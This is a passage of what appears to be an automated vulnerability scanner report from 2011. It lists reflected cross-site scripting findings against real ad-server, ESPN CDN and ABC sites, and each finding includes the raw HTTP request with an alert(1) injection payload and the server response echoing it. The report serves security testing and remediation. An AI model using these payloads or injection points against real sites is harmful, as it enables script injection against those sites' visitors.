Cookie: cli=11e4f07c0988ac7; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; targ=1; rdst11=1; dc=dc-sea; rdst12=1; dp2=1

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 627
Date: Sat, 26 Feb 2011 00:19:22 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Mon, 28-Mar-2011 00:19:22 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="ht
...[SNIP]...
=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;net=mt;ord=9636399718001484?5e66d'-alert(1)-'827aa445761;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

1.7. http://a.collective-media.net/cmadj/manta.comp/energy_resources [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /cmadj/manta.comp/energy_resources

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4b73f'-alert(1)-'409c7f48e56 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cmadj4b73f'-alert(1)-'409c7f48e56/manta.comp/energy_resources;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;net=mt;ord=9636399718001484;ord1=980367;cmpgurl=http%253A//www.manta.com/c/mtl07lp/industrial-waste-recovery-llc? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/c/mtl07lp/industrial-waste-recovery-llc
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11e4f07c0988ac7; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; targ=1; rdst11=1; rdst12=1; dp2=1; dc=dc-sea

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Sat, 26 Feb 2011 00:19:31 GMT
Connection: close
Set-Cookie: apnx=1; domain=collective-media.net; path=/; expires=Sun, 27-Feb-2011 00:19:31 GMT
Set-Cookie: nadp=1; domain=collective-media.net; path=/; expires=Sat, 05-Mar-2011 00:19:31 GMT
Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Sat, 26-Feb-2011 08:19:31 GMT
Set-Cookie: qcdp=1; domain=collective-media.net; path=/; expires=Sun, 27-Feb-2011 00:19:31 GMT
Content-Length: 8216

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("mt-38123617_1298679571","http://ad.doubleclick.net/adj4b73f'-alert(1)-'409c7f48e56/manta.comp/energy_resources;net=mt;u=,mt-38123617_1298679571,11e4f07c0988ac7,Miscellaneous,ex.11-bk.rdst2-cm.rdst12-cm.rdst11-cm.polit_l;;pos=top;cmw=owl;sz=1x1,728x90;pg=comp;sc=e33b9;cs=e00;as=r00;s
...[SNIP]...

1.8. http://a.collective-media.net/cmadj/manta.comp/energy_resources [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /cmadj/manta.comp/energy_resources

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3e702'-alert(1)-'a761657800e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cmadj/manta.comp3e702'-alert(1)-'a761657800e/energy_resources;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;net=mt;ord=9636399718001484;ord1=980367;cmpgurl=http%253A//www.manta.com/c/mtl07lp/industrial-waste-recovery-llc? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/c/mtl07lp/industrial-waste-recovery-llc
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11e4f07c0988ac7; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; targ=1; rdst11=1; rdst12=1; dp2=1; dc=dc-sea

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Sat, 26 Feb 2011 00:19:32 GMT
Connection: close
Set-Cookie: apnx=1; domain=collective-media.net; path=/; expires=Sun, 27-Feb-2011 00:19:32 GMT
Set-Cookie: nadp=1; domain=collective-media.net; path=/; expires=Sat, 05-Mar-2011 00:19:32 GMT
Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Sat, 26-Feb-2011 08:19:32 GMT
Set-Cookie: qcdp=1; domain=collective-media.net; path=/; expires=Sun, 27-Feb-2011 00:19:32 GMT
Content-Length: 8208

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("mt-14050729_1298679572","http://ad.doubleclick.net/adj/manta.comp3e702'-alert(1)-'a761657800e/energy_resources;net=mt;u=,mt-14050729_1298679572,11e4f07c0988ac7,Miscellaneous,ex.11-bk.rdst2-cm.rdst12-cm.rdst11-cm.polit_l;;pos=top;sz=1x1,728x90;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;
...[SNIP]...

1.9. http://a.collective-media.net/cmadj/manta.comp/energy_resources [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /cmadj/manta.comp/energy_resources

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bf5cf'-alert(1)-'a9747c5027c was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cmadj/manta.comp/energy_resourcesbf5cf'-alert(1)-'a9747c5027c;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;net=mt;ord=9636399718001484;ord1=980367;cmpgurl=http%253A//www.manta.com/c/mtl07lp/industrial-waste-recovery-llc? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/c/mtl07lp/industrial-waste-recovery-llc
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11e4f07c0988ac7; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; targ=1; rdst11=1; rdst12=1; dp2=1; dc=dc-sea

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Sat, 26 Feb 2011 00:19:37 GMT
Connection: close
Set-Cookie: apnx=1; domain=collective-media.net; path=/; expires=Sun, 27-Feb-2011 00:19:37 GMT
Set-Cookie: nadp=1; domain=collective-media.net; path=/; expires=Sat, 05-Mar-2011 00:19:37 GMT
Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Sat, 26-Feb-2011 08:19:37 GMT
Set-Cookie: qcdp=1; domain=collective-media.net; path=/; expires=Sun, 27-Feb-2011 00:19:37 GMT
Content-Length: 8208

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("mt-67481131_1298679577","http://ad.doubleclick.net/adj/manta.comp/energy_resourcesbf5cf'-alert(1)-'a9747c5027c;net=mt;u=,mt-67481131_1298679577,11e4f07c0988ac7,Miscellaneous,ex.11-bk.rdst2-cm.rdst12-cm.rdst11-cm.polit_l;;pos=top;sz=1x1,728x90;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resour
...[SNIP]...

1.10. http://a.collective-media.net/cmadj/manta.comp/energy_resources [k parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /cmadj/manta.comp/energy_resources

Issue detail

The value of the k request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 522e1'-alert(1)-'148a505a1cf was submitted in the k parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cmadj/manta.comp/energy_resources;k=522e1'-alert(1)-'148a505a1cf HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/manta/mads/generic.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11e4f07c0988ac7; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; targ=1; rdst11=1; rdst12=1; dp2=1; apnx=1; nadp=1; blue=1; qcdp=1; dc=dc-sea

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Sat, 26 Feb 2011 00:20:32 GMT
Connection: close
Content-Length: 7273

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
a.createAndAttachAd("manta-99230702_1298679632","http://ad.doubleclick.net/adj/manta.comp/energy_resources;net=manta;u=,manta-99230702_1298679632,11e4f07c0988ac7,none,cm.rdst12-cm.rdst11-cm.polit_l;;k=522e1'-alert(1)-'148a505a1cf;contx=none;dc=w;btg=cm.rdst12;btg=cm.rdst11;btg=cm.polit_l?","0","0",false);</scr'+'ipt>
...[SNIP]...

1.11. http://a.collective-media.net/cmadj/manta.comp/energy_resources [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /cmadj/manta.comp/energy_resources

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5c2b1'-alert(1)-'8f009f52149 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cmadj/manta.comp/energy_resources?5c2b1'-alert(1)-'8f009f52149=1 HTTP/1.1
Host: a.collective-media.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: dc=dc-sea; blue=1; dp2=1; apnx=1; rdst12=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; cli=11e4f07c0988ac7; nadp=1; rdst11=1; targ=1; qcdp=1;

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Date: Sat, 26 Feb 2011 01:50:07 GMT
Content-Length: 7270
Connection: close

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("manta-12346973_1298685007","http://ad.doubleclick.net//manta.comp/energy_resources?5c2b1'-alert(1)-'8f009f52149=1;net=manta;u=,manta-12346973_1298685007,11e4f07c0988ac7,none,cm.rdst12-cm.rdst11-cm.polit_l;;contx=none;dc=w;btg=cm.rdst12;btg=cm.rdst11;btg=cm.polit_l?","0","0",false);</scr'+'ipt>
...[SNIP]...

1.12. http://a.collective-media.net/cmadj/manta.comp/energy_resources [pos parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /cmadj/manta.comp/energy_resources

Issue detail

The value of the pos request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cc135'-alert(1)-'315ca7472f3 was submitted in the pos parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cmadj/manta.comp/energy_resources;pos=cc135'-alert(1)-'315ca7472f3 HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.manta.com/c/mtl07lp/industrial-waste-recovery-llc
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11e4f07c0988ac7; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; targ=1; rdst11=1; rdst12=1; dp2=1; dc=dc-sea

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Sat, 26 Feb 2011 00:19:22 GMT
Connection: close
Set-Cookie: nadp=1; domain=collective-media.net; path=/; expires=Sat, 05-Mar-2011 00:19:22 GMT
Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Sat, 26-Feb-2011 08:19:22 GMT
Set-Cookie: qcdp=1; domain=collective-media.net; path=/; expires=Sun, 27-Feb-2011 00:19:22 GMT
Content-Length: 7790

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
createAndAttachAd("manta-14301451_1298679562","http://ad.doubleclick.net/adj/manta.comp/energy_resources;net=manta;u=,manta-14301451_1298679562,11e4f07c0988ac7,none,cm.rdst12-cm.rdst11-cm.polit_l;;pos=cc135'-alert(1)-'315ca7472f3;contx=none;dc=w;btg=cm.rdst12;btg=cm.rdst11;btg=cm.polit_l?","0","0",false);</scr'+'ipt>
...[SNIP]...

1.13. http://a.espncdn.com/combiner/c [css parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.espncdn.com
Path:   /combiner/c

Issue detail

The value of the css request parameter is copied into the HTML document as plain text between tags. The payload ddc15<script>alert(1)</script>ddb75005989 was submitted in the css parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /combiner/c?css=photo.galleries.r3.cssddc15<script>alert(1)</script>ddb75005989 HTTP/1.1
Host: a.espncdn.com
Proxy-Connection: keep-alive
Referer: http://espn.go.com/new-york/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/css
Last-Modified: Wed, 23 Feb 2011 21:42:44 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: EGW04
Cache-Expires: Sun, 24 Apr 2011 21:42:44 GMT
Vary: Accept-Encoding
Cache-Control: max-age=5184000
Date: Wed, 23 Feb 2011 21:42:43 GMT
Connection: close
Content-Length: 245


/** ERROR: photo.galleries.r3.cssddc15<script>alert(1)</script>ddb75005989: Server returned HTTP response code: 400 for URL: http://espnsource01c.starwave.com:9081/prod/styles/photo.galleries.r3.cssddc15<script>
...[SNIP]...

1.14. http://a.espncdn.com/combiner/c [js parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.espncdn.com
Path:   /combiner/c

Issue detail

The value of the js request parameter is copied into the HTML document as plain text between tags. The payload ab3e3<script>alert(1)</script>86514540ca5 was submitted in the js parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /combiner/c?js=analytics/sOmni.js,analytics/analytics.js,analytics/zf.js,analytics/externalnielsen.jsab3e3<script>alert(1)</script>86514540ca5&xhr=1 HTTP/1.1
Host: a.espncdn.com
Proxy-Connection: keep-alive
Referer: http://espn.go.com/new-york/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Last-Modified: Wed, 23 Feb 2011 21:43:18 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: EGW05
Cache-Expires: Sun, 24 Apr 2011 21:43:19 GMT
Vary: Accept-Encoding
Cache-Control: max-age=5184000
Date: Wed, 23 Feb 2011 21:43:17 GMT
Connection: close
Content-Length: 53472

if(typeof (s_account)!="undefined"&&s_account!=""){if(s_account=="wdgespuk"||s_account=="wdgespstar"||s_account=="wdgesp360europe"||s_account=="wdgesp360prodigymexico"||s_account=="wdgesp360terrabrazi
...[SNIP]...
<img src='"+A+"' style='display:none' />");});}
/** ERROR: analytics/externalnielsen.jsab3e3<script>alert(1)</script>86514540ca5: Server returned HTTP response code: 400 for URL: http://espnsource01c.starwave.com:9081/prod/scripts/analytics/externalnielsen.jsab3e3<script>
...[SNIP]...

1.15. http://a.espncdn.com/combiner/c/201012011221 [js parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.espncdn.com
Path:   /combiner/c/201012011221

Issue detail

The value of the js request parameter is copied into a JavaScript inline comment. The payload d6911*/alert(1)//17464b787b5 was submitted in the js parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /combiner/c/201012011221?js=jquery-1.4.2.1.js,plugins/json2.r3.js,plugins/teacrypt.js,plugins/jquery.metadata.js,plugins/jquery.bgiframe.js,plugins/jquery.easing.1.3.js,plugins/jquery.hoverIntent.js,plugins/jquery.jcarousel.js,plugins/jquery.tinysort.r3.js,plugins/jquery.pubsub.r5.js,ui/1.8.2/jquery.ui.core.js,ui/1.8.2/jquery.ui.widget.js,ui/1.8.2/jquery.ui.tabs.js,ui/1.8.2/jquery.ui.accordion.js,plugins/ba-debug-0.4.js,espn.l10n.r8.js,swfobject/2.2/swfobject.js,flashObjWrapper.r7.js,plugins/jquery.colorbox.1.3.14.js,plugins/jquery.ba-postmessage.js,espn.core.duo.r49.js,espn.mem.r15.js,espn.mem.r16.js,stub.search.r3.js,espn.nav.mega.r30.js,espn.storage.r6.js,espn.p13n.r9.js,espn.video.r33a.js,registration/staticLogin.r10-14.js,espn.universal.overlay.r1.1.js,espn.insider.r5.js,espn.espn360.stub.r9.js,espn.myHeadlines.stub.r12.js,espn.myfaves.stub.r3.js,espn.scoreboard.r6.js,espn.partner.videobox.r3.js,%2Fforesee_v3%2Fforesee-alive.jsd6911*/alert(1)//17464b787b5&development=true HTTP/1.1
Host: a.espncdn.com
Proxy-Connection: keep-alive
Referer: http://espn.go.com/new-york/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Last-Modified: Wed, 23 Feb 2011 21:43:17 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: EGW04
Cache-Expires: Sun, 24 Apr 2011 21:43:17 GMT
Vary: Accept-Encoding
Cache-Control: max-age=5183999
Date: Wed, 23 Feb 2011 21:43:17 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 327815

/*
* jQuery JavaScript Library v1.4.2
* http://jquery.com/
*
* Copyright 2010, John Resig
* Dual licensed under the MIT or GPL Version 2 licenses.
* http://jquery.org/license
*
* Includes Sizz
...[SNIP]...
B.length;D++){var H=B[D].split("=");if(!H||H.length!=2){continue;}var C=unescape(H[0]);var G=unescape(H[1]);G=G.replace(/\+/g," ");F[C]=G;}return F;};})(jQuery);
/** ERROR: /foresee_v3/foresee-alive.jsd6911*/alert(1)//17464b787b5: http://espnsource01c.starwave.com:9081/dev/scripts/foresee_v3/foresee-alive.jsd6911*/alert(1)//17464b787b5 **/

1.16. http://a.espncdn.com/combiner/c/201012011221 [js parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.espncdn.com
Path:   /combiner/c/201012011221

Issue detail

The value of the js request parameter is copied into the HTML document as plain text between tags. The payload c8e3d<script>alert(1)</script>23f304513d3 was submitted in the js parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /combiner/c/201012011221?js=c8e3d<script>alert(1)</script>23f304513d3&development=true HTTP/1.1
Host: a.espncdn.com
Proxy-Connection: keep-alive
Referer: http://espn.go.com/new-york/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Last-Modified: Wed, 23 Feb 2011 21:43:14 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: EGW01
Cache-Expires: Sun, 24 Apr 2011 21:43:15 GMT
Vary: Accept-Encoding
Cache-Control: max-age=5184000
Date: Wed, 23 Feb 2011 21:43:14 GMT
Connection: close
Content-Length: 201


/** ERROR: c8e3d<script>alert(1)</script>23f304513d3: Server returned HTTP response code: 400 for URL: http://espnsource01c.starwave.com:9081/dev/scripts/c8e3d<script>alert(1)</script>23f304513d3 **/
...[SNIP]...

1.17. http://abc.go.com/watch [aa parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The value of the aa request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 27e7b"-alert(1)-"850c9a5da4a was submitted in the aa parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F27e7b"-alert(1)-"850c9a5da4a&partner=&pc=&pl= HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:25 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:25 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc04
X-Powered-By: ASP.NET
Cache-Expires: Wed, 23 Feb 2011 23:12:25 GMT
Content-Length: 16360
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F27e7b"-alert(1)-"850c9a5da4a&partner=&pc=&pl=&brandid=001","cookieName" : "abc_vp_breadcrumb" });
</script>
...[SNIP]...

1.18. http://abc.go.com/watch [aa parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
